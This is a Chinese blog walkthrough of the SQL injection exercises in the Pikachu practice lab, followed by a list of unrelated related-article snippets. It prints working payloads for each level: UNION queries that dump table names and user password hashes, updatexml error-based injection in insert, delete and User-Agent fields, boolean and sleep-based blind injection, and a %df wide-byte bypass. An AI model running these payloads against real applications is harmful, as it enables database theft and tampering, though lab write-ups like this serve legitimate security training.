当前位置: 首页 > news >正文

Pikachu靶场--Sql Inject

参考借鉴

pikachu靶场练习(详细,完整,适合新手阅读)-CSDN博客

数字型注入(post)

这种类型的SQL注入利用在用户输入处插入数值,而不是字符串。攻击者试图通过输入数字来修改SQL查询的逻辑,以执行恶意操作。

选择序号进行查询 

在提交查询的同时BP抓包

右键-->发送给Repeater

判断为数字型注入,寻找注入点

拼接该语句,回显正常

id=3 order by 2

拼接该语句,回显报错,说明回显位为2

id=3 order by 3

拼接该语句,得到数据库名:pikachu,数据库版本:5.7.26

id=3 union select database(),version()

拼接该语句,得到pikachu库的表名

id=0 union select 3,group_concat(table_name) from information_schema.tables where table_schema=database()

拼接该语句,得到user表的字段名

id=0 union select 3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

拼接该语句,得到用户名和密码

id=0 union select username,password from users

成功获得用户名和密码,MD5解密即可

                

字符型注入(get)

字符型注入是通过在用户输入中注入恶意字符串来进行攻击。这些字符串可能包含SQL查询中的特殊字符或SQL语句的一部分,从而改变其原意。

输入username-->查询-->输入的内容被放到url

输入lili' 报错,输入lili'-- hello显示正常,判断为字符型   单引号闭合

输入该语句,回显正常

lili' order by 2-- hello

输入该语句,回显报错,说明回显位为2

lili' order by 3-- hello

输入该语句,得到数据库名:pikachu,数据库版本:5.7.26

lili' union select database(),version()-- hello

输入该语句,得到pikachu库的表名

lili' union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'-- hello

输入该语句,得到user表的字段名

lili' union select 1, group_concat(column_name) from information_schema.columns where table_schema = 'pikachu' and table_name = 'users'-- hello

输入该语句,得到用户名和密码

lili' union select username, password from users-- hello

成功获得用户名和密码,MD5解密即可

                 

搜索型注入

这种注入利用在搜索表单或查询中输入的内容。攻击者可以通过搜索字段注入SQL代码,执行恶意查询或获取未授权信息。

同字符型注入(get)的做法一样,闭合方式也是只不过回显位为3

解题参照上文

lili' union select 1,database(),version()-- hello

         

xx型注入

同字符型注入(get)的做法一样,只不过闭合方式是'))回显位为2

解题参照上文

lili') union select database(),version()-- hello

                

insert/update注入

这种注入类型发生在INSERTUPDATE语句中,攻击者通过恶意构造的数据插入或更新数据库,可能导致数据损坏、篡改或非预期的操作。

注册用户

注册用户的同时,BP抓包

右键-->发送给Repeater

拼接该语句,得到数据库名:pikachu

username=hello 'or updatexml(1,concat(0x7e,database()),1) or' 

拼接该语句,数据库版本:5.7.26

username=hello 'or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or' 

拼接该语句,得到pikachu库的表名

用户名要是错的,才会执行报错函数,获取表名

username=0 'or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or' 

拼接该语句,得到user表的字段名

username=0 'or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,31),0x7e),1) or' 

拼接该语句,得到用户名和密码

username=0 'or updatexml(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e),1) or' 

成功获得用户名和密码,MD5解密即可

                

delete注入

Delete注入是指攻击者利用恶意构造的输入来删除数据库中的数据,这种攻击可以极大地破坏数据库完整性。

写入一条留言 

在删除留言的同时BP抓包-->发送给Repeater

发现有一个变化的id值,可能存在注入点,尝试用报错注入

BP的GET请求中输入sql语句时,空格用+代替,否则出错

拼接该语句,得到数据库名:pikachu

?id=61+or+updatexml+(1,concat(0x7e,database(),0x7e),1)+ 

拼接该语句,得到pikachu库的表名

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='pikachu'),0x7e),1)+ 

拼接该语句,得到user表的字段名

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='pikachu'+and+table_name='users'),0x7e),1)+ 

拼接该语句,得到用户名和密码

?id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(username,password)+from+users),0x7e),1)+ 

成功获得用户名和密码,MD5解密即可

                

http header注入

这种类型的注入利用HTTP请求或响应头部中的输入来执行攻击。攻击者可以在头部中插入特定字符,从而影响服务器的处理逻辑或者进行信息泄露。

提示-->获取username和password 

在登录的同时BP抓包

没发现注入点,但发现界面上的信息被BP抓取

右键-->发送给Repeater

因为User-Agent和Accept展示在界面中,所以可以修改这两处

以修改User-Agent为例:拼接该语句,得到数据库名:pikachu

'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

拼接该语句,得到pikachu库的表名

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or'

拼接该语句,得到user表的字段名

'or updatexml (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e),1) or'

拼接该语句,得到用户名和密码

'or updatexml (1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) or'

成功获得用户名和密码,MD5解密即可

以上以修改User-Agent为例,也可以修改Accept

                

盲注(base on boolian)

盲注是一种无法直接从响应中获取数据的注入攻击,攻击者通过发送特定的SQL查询,根据应用程序在查询结果中返回的布尔值(真或假)来推断数据库的结构和内容。

查询 lili' 不存在

查询 lili' -- hello,回显正常,判断为单引号闭合

拼接该语句,改变数字查看回显,得到数据库名字的长度:7

lili' and length(database())=7-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and substr(database(),1,1)='p'-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第二个字母:i

lili' and substr(database(),2,1)='i'-- hello

猜测数据库名为:pikachu

lili' and substr(database(),1,7)='pikachu'-- hello

成功获得数据库名

接下来用同样的方法猜测表名

①用group_concat猜---费时

②写python脚本自己跑

③使用sqlmap自动注入工具

         

盲注(base on time)

基于时间的盲注是一种通过观察应用程序对恶意查询的响应时间来推断数据库的内容。攻击者可以发送一个查询,如果应用程序对其作出延迟响应,则说明条件成立。

拼接该语句,立马加载完毕(无效)

lili and sleep(5)-- hello

拼接该语句,5秒后加载完毕(有效),所以本题是单引号闭合

lili' and sleep(5)-- hello

拼接该语句,改变数字查看回显速度,得到数据库名字的长度:7

lili' and if (length(database())=7,sleep(5),1)-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and if(substr(database(),1,1)='p',sleep(5),1)-- hello

拼接该语句,改变字母查看回显,得到数据库名字的第一个字母:p

lili' and if(substr(database(),2,1)='i',sleep(5),1)-- hello

猜测数据库名为:pikachu

lili' and if(substr(database(),1,7)='pikachu',sleep(5),1)-- hello

成功获得数据库名

接下来用同样的方法猜测表名

用group_concat猜---费时

写python脚本自己跑

使用sqlmap自动注入工具

         

宽字节注入

宽字节注入利用数据库在处理双字节编码(如UTF-8)时的特性来执行攻击。攻击者通过在输入中插入特定的宽字节字符,可能绕过常规的输入过滤机制,从而成功执行注入。

在提交查询的同时BP抓包

它和联合注入类似,只是要在内容后面添加%df

name=lili%df' or 1=1-- hello

拼接该语句,测试得到回显位的数量

name=1%df' union select 1,2-- hello

拼接该语句,得到数据库名:pikachu

name=1%df' union select 1,database()-- hello

拼接该语句,得到pikachu库的表名

name=1%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()-- hello

拼接该语句,得到user表的字段名

name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)-- hello

拼接该语句,得到用户名和密码

name=1%df' union select username,password from users-- hello

 成功获得用户名和密码,MD5解密即可

相关文章:

Pikachu靶场--Sql Inject

参考借鉴 pikachu靶场练习(详细,完整,适合新手阅读)-CSDN博客 数字型注入(post) 这种类型的SQL注入利用在用户输入处插入数值,而不是字符串。攻击者试图通过输入数字来修改SQL查询的逻辑,以执行恶意操作。…...

【Python从入门到进阶】59、Pandas库中Series对象的操作(二)

接上篇《58、Pandas库中Series对象的操作(一)》 上一篇我们讲解了Pandas库中Series对象的基本概念、对象创建和操作,本篇我们来继续学习Series对象的运算、函数应用、时间序列操作,以及Series的案例实践。 一、Series对象的运算 1. 数值型数据的算术运…...

【PYG】使用datalist定义数据集,创建一个包含多个Data对象的列表并使用DataLoader来加载这些数据

为了使用你提到的封装方式来创建一个包含多个 Data 对象的列表并使用 DataLoader 来加载这些数据,我们可以按照以下步骤进行: 创建数据:生成节点特征矩阵、边索引矩阵和标签。封装数据:使用 Data 对象将这些数据封装起来。使用 D…...

【设计模式】【创建型5-2】【工厂方法模式】

文章目录 工厂方法模式工厂方法模式的结构示例产品接口具体产品工厂接口具体工厂客户端代码 实际的使用 工厂方法模式 工厂方法模式的结构 产品(Product):定义工厂方法所创建的对象的接口。 具体产品(ConcreteProduct&#xff0…...

python API自动化(Pytest+Excel+Allure完整框架集成+yaml入门+大量响应报文处理及加解密、签名处理)

1.pytest数据参数化 假设你需要测试一个登录功能,输入用户名和密码后验证登录结果。可以使用参数化实现多组输入数据的测试: 测试正确的用户名和密码登录成功 测试正确的用户名和错误的密码登录失败 测试错误的用户名和正确的密码登录失败 测试错误的用户名和密码登…...

【Postman学习】

Postman是一个非常流行的API开发和测试工具,广泛用于Web服务的开发、测试和调试。它提供了一个图形界面,允许用户轻松地构建、发送和管理HTTP(S)请求,同时查看和分析响应。下面是对Postman接口测试工具的详细解释: 1. Postman简介…...

【Linux】IO多路复用——select,poll,epoll的概念和使用,三种模型的特点和优缺点,epoll的工作模式

文章目录 Linux多路复用1. select1.1 select的概念1.2 select的函数使用1.3 select的优缺点 2. poll2.1 poll的概念2.2 poll的函数使用2.3 poll的优缺点 3. epoll3.1 epoll的概念3.2 epoll的函数使用3.3 epoll的优点3.4 epoll工作模式 Linux多路复用 IO多路复用是一种操作系统的…...

IBCS 虚拟专线——让企业用于独立IP

在当今竞争激烈的商业世界中,企业的数字化运营对网络和服务器的性能有着极高的要求。作为一家企业的 IT 主管,我深刻体会到了在网络和服务器配置方面所面临的种种挑战,以及 IBCS 虚拟专线带来的革命性改变。 我们企业在业务扩张的过程中&…...

驾驭巨龙:Perl中大型文本文件的处理艺术

驾驭巨龙:Perl中大型文本文件的处理艺术 Perl,这门被亲切称为“实用提取和报告语言”的编程语言,自从诞生之日起,就以其卓越的文本处理能力闻名于世。在面对庞大的文本文件时,Perl的强大功能更是得到了充分的体现。本…...

Kafka~特殊技术细节设计:分区机制、重平衡机制、Leader选举机制、高水位HW机制

分区机制 Kafka 的分区机制是其实现高吞吐和可扩展性的重要特性之一。 Kafka 中的数据具有三层结构,即主题(topic)-> 分区(partition)-> 消息(message)。一个 Kafka 主题可以包含多个分…...

springcloud-config 客户端启用服务发现client的情况下使用metadata中的username和password

为了让spring admin 能正确获取到 spring config的actuator的信息,在eureka的metadata中添加了metadata.user.user metadata.user.password eureka.instance.metadata-map.user.name${spring.security.user.name} eureka.instance.metadata-map.user.password${spr…...

云计算 | 期末梳理(中)

1. 经典虚拟机的特点 多态(Polymorphism):支持多种类型的OS。重用(Manifolding):虚拟机的镜像可以被反复复制和使用。复用(Multiplexing):虚拟机能够对物理资源时分复用。2. 系统接口 最基本的接口是微处理器指令集架构(ISA)。应用程序二进制接口(ABI)给程序提供使用硬件资源…...

pytest测试框架pytest-order插件自定义用例执行顺序

pytest提供了丰富的插件来扩展其功能,本章介绍插件pytest-order,用于自定义pytest测试用例的执行顺序。pytest-order是插件pytest-ordering的一个分支,但是pytest-ordering已经不再维护了,建议大家直接使用pytest-order。 官方文…...

吴恩达机器学习 第三课 week2 推荐算法(上)

目录 01 学习目标 02 推荐算法 2.1 定义 2.2 应用 2.3 算法 03 协同过滤推荐算法 04 电影推荐系统 4.1 问题描述 4.2 算法实现 05 总结 01 学习目标 (1)了解推荐算法 (2)掌握协同过滤推荐算法(Collabo…...

MySQL CASE 表达式

MySQL CASE表达式 一、CASE表达式的语法二、 常用场景1,按属性分组统计2,多条件统计3,按条件UPDATE4, 在CASE表达式中使用聚合函数 三、CASE表达式出现的位置 一、CASE表达式的语法 -- 简单CASE表达式 CASE sexWHEN 1 THEN 男WHEN 2 THEN 女…...

Unity3D 游戏数据本地化存储与管理详解

在Unity3D游戏开发中,数据的本地化存储与管理是一个重要的环节。这不仅涉及到游戏状态、玩家信息、游戏设置等关键数据的保存,还关系到游戏的稳定性和用户体验。本文将详细介绍Unity3D中游戏数据的本地化存储与管理的技术方法,并给出相应的代…...

昇思25天学习打卡营第1天|初学教程

文章目录 背景创建环境熟悉环境打卡记录学习总结展望未来 背景 参加了昇思的25天学习记录,这里给自己记录一下所学内容笔记。 创建环境 首先在平台注册账号,然后登录,按下图操作,创建环境即可 创建好环境后进入即可&#xff0…...

ctfshow-web入门-命令执行(web59-web65)

目录 1、web59 2、web60 3、web61 4、web62 5、web63 6、web64 7、web65 都是使用 highlight_file 或者 show_source 1、web59 直接用上一题的 payload: cshow_source(flag.php); 拿到 flag:ctfshow{9e058a62-f37d-425e-9696-43387b0b3629} 2、w…...

Websocket在Java中的实践——最小可行案例

大纲 最小可行案例依赖开启Websocket,绑定路由逻辑类 测试参考资料 WebSocket是一种先进的网络通信协议,它允许在单个TCP连接上进行全双工通信,即数据可以在同一时间双向流动。WebSocket由IETF标准化为RFC 6455,并且已被W3C定义为…...

python请求报错::requests.exceptions.ProxyError: HTTPSConnectionPool

在发送网页请求时,发现很久未响应,最后报错: requests.exceptions.ProxyError: HTTPSConnectionPool(hostsvr-6-9009.share.51env.net, port443): Max retries exceeded with url: /prod-api/getInfo (Caused by ProxyError(Unable to conne…...

【Unity】Excel配置工具

1、功能介绍 通过Excel表配置表数据,一键生成对应Excel配置表的数据结构类、数据容器类、已经二进制数据文件,加载二进制数据文件获取所有表数据 需要使用Excel读取的dll包 2、关键代码 2.1 ExcelTool类 实现一键生成Excel配置表的数据结构类、数据…...

001 线性查找(lua)

文章目录 迭代器主程序 迭代器 -- 定义一个名为 linearSearch 的函数,它接受两个参数:data(一个数组)和 target(一个目标值) function linearSearch(data, target) -- 使用 for 循环遍历数组 data&…...

数据结构之链表

储备知识: 线性表 :一对一的数据所组成的关系称为线性表。 线性表是一种数据内部的逻辑关系,与存储形式无关线性表既可以采用连续的顺序存储(数组),也可以采用离散的链式存储(链表)顺序表和链表都称为线性表 顺序存储就是将数据存…...

【小工具】 Unity相机宽度适配

相机默认是根据高度适配的,但是在部分游戏中需要根据宽度进行适配 实现步骤 定义标准屏幕宽、高判断标准屏幕宽高比与当前的是否相等通过**(标准宽度/当前宽度) (标准高度 / 当前高度)**计算缩放调整相机fieldOfView即…...

centos误删yum和python

在下载pkdg时,因为yum报错坏的解释器,然后误删了yum和python。 在下载各种版本,创建各种软连接,修改yum文件都不好使后,发现了这样一个方法:Centos: 完美解决python升级导致的yum报错问题(相信…...

WP黑格导航主题BlackCandy

BlackCandy-V2.0全新升级!首推专题区(推荐分类)更多自定义颜色!选择自己喜欢的色系,焕然一新的UI设计,更加扁平和现代化! WP黑格导航主题BlackCandy...

elasticsearch底层核心组件

Elasticsearch是一个高度可扩展的开源全文搜索和分析引擎,它基于Apache Lucene构建,并添加了分布式特性。以下是Elasticsearch的一些底层核心组件: 1. **Lucene**: - Elasticsearch基于Apache Lucene,一个高性能的…...

EasyExcel数据导入

前言: 我先讲一种网上信息的获取方式把,虽然我感觉和后面的EasyExcel没有什么关系,可能是因为这个项目这个操作很难实现,不过也可以在此记录一下,如果需要再拆出来也行。 看上了网页信息,怎么抓到&#x…...

20240630 每日AI必读资讯

📚全美TOP 5机器学习博士发帖吐槽:实验室H100数量为0! - 普林斯顿、哈佛「GPU豪门」,手上的H100至少三四百块,然而绝大多数ML博士一块H100都用不上 - 年轻的研究者们纷纷自曝自己所在学校或公司的GPU情况&#xff1a…...

第十一章 Qt的模型视图

目录 一、模型/视图的原理 1、原理分析 2、模型(数据模型) 3、视图 4、代理 二、文件系统模型 1、项目练习 2、UI 设计 3、代码实现 三、字符串链表模型 QStringListModel 1、项目效果 2、项目实现 四、标准项模型(QStandardItemModel) 1、模型分析 2、项目效…...

力扣 单词规律

所用数据结构 哈希表 核心方法 判断字符串pattern 和字符串s 是否存在一对一的映射关系,按照题意,双向连接的对应规律。 思路以及实现步骤 1.字符串s带有空格,因此需要转换成字符数组进行更方便的操作,将字符串s拆分成单词列表…...

10款好用不火的PC软件,真的超好用!

AI视频生成:小说文案智能分镜智能识别角色和场景批量Ai绘图自动配音添加音乐一键合成视频https://aitools.jurilu.com/市场上有很多软件,除了那些常见的大众化软件,还有很多不为人知的小众软件,它们的作用非常强大,简洁…...

Windows怎么实现虚拟IP

在做高可用架构时,往往需要用到虚拟IP,在linux上面有keepalived来实现虚拟ip的设置。在windows上面该怎么弄,keepalived好像也没有windows版本,我推荐一款浮动IP软件PanguVip,它可以实现windows上面虚拟ip的漂移。设置…...

【计算机网络】HTTP——基于HTTP的功能追加协议(个人笔记)

学习日期:2024.6.29 内容摘要:基于HTTP的功能追加协议和HTTP/2.0 HTTP的瓶颈与各功能追加协议 需求的产生 在Facebook、推特、微博等平台,每分每秒都会有人更新内容,我们作为用户当然希望时刻都能收到最新的消息,为…...

【多媒体】Java实现MP4视频播放器【JavaFX】【音视频播放】

在Java中播放视频可以使用多种方案,最常见的是通过Swing组件JFrame和JLabel来嵌入JMF(Java Media Framework)或Xuggler。不过,JMF已经不再被推荐使用,而Xuggler是基于DirectX的,不适用于跨平台。而且上述方案都需要使用第三方库。…...

2024 Parallels Desktop for Mac 功能介绍

Parallels Desktop的简介 Parallels Desktop是一款由Parallels公司开发的桌面虚拟化软件,它允许用户在Mac上运行Windows和其他操作系统。通过强大的技术支持,用户无需重新启动电脑即可在Mac上运行Windows应用程序,实现了真正的无缝切换。 二…...

颍川韩氏,来自战国七雄韩国的豪族

颍川是战国七雄韩国故土,韩国被秦国灭国后,王公贵族们除了坚决反秦的被杀了外,大部分都留存了下来。这些人在楚、汉反秦战争中,成为反秦统一战线的重要力量,其中两人先后被封为重新恢复的韩国的国王。 一个是横阳君韩…...

Spring boot中如何使用Thymeleaf模板

大家好,我是 网创有方。今天给大家分享下Spring boot中如何使用Thymeleaf模板。 在 IntelliJ IDEA 中使用 Thymeleaf 模板引擎来开发 Spring Boot 应用程序是相对简单的。以下是一些基本步骤,帮助你在 IDEA 中设置和使用 Thymeleaf: 创建一个…...

单片机学习(14)--DS18B20温度传感器

DS18B20温度传感器 13.1DS18B20温度传感器基础知识1.DS18B20介绍2.引脚及应用电路3.内部结构框图4.存储器框图5.单总线介绍6.单总线电路规范7.单总线时序结构8.DS18B20操作流程9.DS18B20数据帧 13.2DS18B20温度读取和温度报警器代码1.DS18B20温度读取(1)…...

ue 材质贴图Tiling repeat

材质问题,如下 贴图显然不符合逻辑,太大,并且是一次性贴图 换一个红砖纹理,就看清了,砖太大了 修改: 拖出一个TexCoord,代表坐标,拖出一个参数,代表次数,如…...

【图像超分辨率】一个简单的总结

文章目录 图像超分辨率(Image Super-Resolution, ISR)1 什么是图像超分辨率?2 图像超分辨率通常有哪些方法?(1)基于插值的方法(2)基于重建的方法(3)基于学习的方法(LR im…...

WEB与低代码:B/S架构在开发中的应用与优势

在互联网迅猛发展的今天,WEB应用已经成为人们日常生活和工作中不可或缺的一部分。随着技术的进步和需求的多样化,开发高效、灵活且易于维护的WEB应用变得尤为重要。B/S架构(Browser/Server Architecture)作为一种常见的WEB应用架构…...

内容营销专家刘鑫炜揭秘:姜萍一夜暴红背后的品牌传播密码

在互联网的浪潮下,品牌传播的方式愈发多样和复杂。近日,江苏省涟水中等专业学校的十七岁中专生姜萍因在世界级数学竞赛中取得优异成绩而一夜暴红,成为网络上的热议焦点。 在这个充满变数的时代,谁也无法预测下一个网红会是谁。然…...

安装VEX外部编辑器

Houdini20配置VEX外部编辑器方法_哔哩哔哩_bilibili 下载并安装Visual Studio Code软件:Download Visual Studio Code - Mac, Linux, Windows 在Visual Studio Code软件内,安装相关插件,如: 中文汉化插件vex插件 安装Houdini Expr…...

ISO 19110全局要求类/req/global/bound-association-role要求的详细解释

/req/global/bound-association-role 要求: 如果模型允许在一个关联角色(association role)中存在“rolePlayer”关联,并且该角色属于一个“globalProperty”角色,那么这种绑定必须通过一个绑定的关联角色实体(bound …...

武汉凯迪正大等简述电缆电容检测:原理、应用与重要性

为了确保电缆的安全稳定运行评估电缆绝缘质量以及检测潜在故障,需要对电缆做一些必要的检测。本文将依照凯迪正大的一些经验对电缆电容检测的原理、应用及其重要性进行简单的序述。 一、电缆电容检测的原理 电缆电容检测基于电容的基本特性,电容是指两个…...

python调用阿里云OSS对象存储

1)安装SDK import oss2 print(oss2.__version__) 如果能返回SDK版号,则安装成功 2)配置访问凭证 import oss2 from project1 import settings #以下参数在阿里云账号中可以查到 auth=oss2.Auth(settings.ACCESS_KEY_ID, settings.ACCESS_KEY_SECRET) endpoint=settings.E…...

530、二叉搜索树的最小绝对差

给你一个二叉搜索树的根节点 root ,返回 树中任意两不同节点值之间的最小差值 。 差值是一个正数,其数值等于两值之差的绝对值。 代码如下: class Solution { private: int result INT_MAX; TreeNode* pre NULL; void traversal(TreeNode…...

docker配置redis主从复制

下载redis,复制redis.conf 主节点(6379) 修改redis.conf # bind 127.0.0.1 # 注释掉这里 protected-mode no # 改为no port 6379从节点(6380) 修改redis.conf bind 127.0.0.1 protected-mode no # 改为no port 6380 replicaof 172.17.0.2 6379 # 这里的ip为主节点容器的i…...

IPython调试秘籍:pdb调试器深度解析与实战

🐞 IPython调试秘籍:pdb调试器深度解析与实战 在Python编程中,调试是开发过程中不可或缺的一环。IPython,作为一个强大的交互式Python解释器,内置了pdb调试器,使得代码调试变得异常便捷。本文将深入探讨如…...

智能生产管理系统设计

智能生产管理系统的设计旨在提升制造业的效率、灵活性和响应速度,通过集成先进的信息技术(如物联网IoT、大数据分析、人工智能AI、云计算等)实现生产过程的智能化。以下是一些关键设计要素和步骤,用于构建一个高效的智能生产管理系…...

【国产开源可视化引擎】Meta2d.js简介

Meta2d.js:2D图元组成的可视化引擎。 由乐吾乐科技自主研发,集实时数据展示、动态交互、数据管理等一体的全功能2D可视化引擎。能够快速实现数字孪生、大屏可视化、Web组态、SCADA等解决方案。具有实时监控、多样、变化、动态交互、高效、可扩展、支持自…...

20K Stars!一个轻量级的 JS 库

大家好,我是CodeQi! 一位热衷于技术分享的码仔。 Driver.js 是一个轻量级的 JavaScript 库,旨在帮助开发人员创建网站或应用程序的引导和教程。通过 Driver.js,您可以引导用户了解网站的各个功能和使用方式。 Driver.js 提供了高度可定制的功能,使其能够适应各种需求和…...

搜维尔科技:使用Manus VR手套和ART光学追踪功能实现虚拟场景工业仿真操作

:使用Manus VR手套和ART光学追踪功能实现虚拟场景工业仿真操作 搜维尔科技:使用Manus VR手套和ART光学追踪功能实现虚拟场景工业仿真操作...

C++ windows下使用openvino部署yoloV8

目录 准备版本: 准备事项: 选择配置界面: 下载界面: ​编辑 添加VS配置: 准备代码: yolov8.h yolov8.cpp detect.cpp 如何找到并放置DLL: 准备版本: opencv 4.6.0 openvino 2024.0…...

第一次的pentest show总结

第一次的pentest show总结 前言 开始之前,我特别感谢TryHackMe(英)、HackTheBox(美)、zero-point security(英)、offsec(美)等平台,使我们能够通过网络以线上的方式学习与练习,打破传统线下各地区教育资源差异大的限制,对网络教…...

竞争问界M7?东风奕派eπ008将于6月上市

作为东风奕派品牌旗下的第二款量产车型,东风奕派eπ008定位中大型SUV,已在2024北京车展期间开启预售,预售价格为20万-25万元。而日前笔者从相关渠道获悉,东风奕派eπ008将于今年6月完成上市。结合实车图来看,东风奕派eπ008拥有宽大饱满的车头造型,同时前包围两侧集成熏黑…...

SpringBoot——整合Thymeleaf模板

目录 模板引擎 新建一个SpringBoot项目 pom.xml application.properties Book BookController bookList.html ​编辑 项目总结 模板引擎 模板引擎是为了用户界面与业务数据分离而产生的,可以生成特定格式的页面在Java中,主要的模板引擎有JSP&…...

Three.js 中的场景与相机基础

Three.js 中的场景与相机基础 一、场景(Scene) 在 Three.js 中,场景是所有 3D 对象存在和交互的容器。艾斯视觉作为行业ui设计与前端开发服务商很高兴能在这里与你共同探讨:它就像是一个虚拟的 3D 空间,我们可以在其中…...

git教程(IDEA + 命令行)

首先假设你已经安装 git 且 已经初始化完成: // 初始化git config --global user.name "你的用户名" git config --global user.email "你的邮箱"在当前文件夹下创建一个仓库,且该文件夹下会有多个项目 首先在当前文件夹下新建git…...

5,串口编程---实现简单的用串口发送接收数据

单片机通过串口向PC机发送数据 PC机通过串口接收单片机发过来的数据 1.UART和USART的区别: USART支持同步通信方式,可以通过外部时钟信号进行同步传输,而UART仅支持异步通信方式 本开发板STM32F103ZET6有5个串口,用串口1作调试串口,因为串…...

【重学C语言】十六、联合、枚举、面向对象编程

【重学C语言】十六、联合、枚举、面向对象编程 联合定义联合体使用联合体注意事项枚举枚举的定义为枚举常量指定整数值枚举的使用枚举的打印枚举的优势注意事项面向对象编程1. 结构体(Structs)2. 封装(Encapsulation)3. 继承(Inheritance)...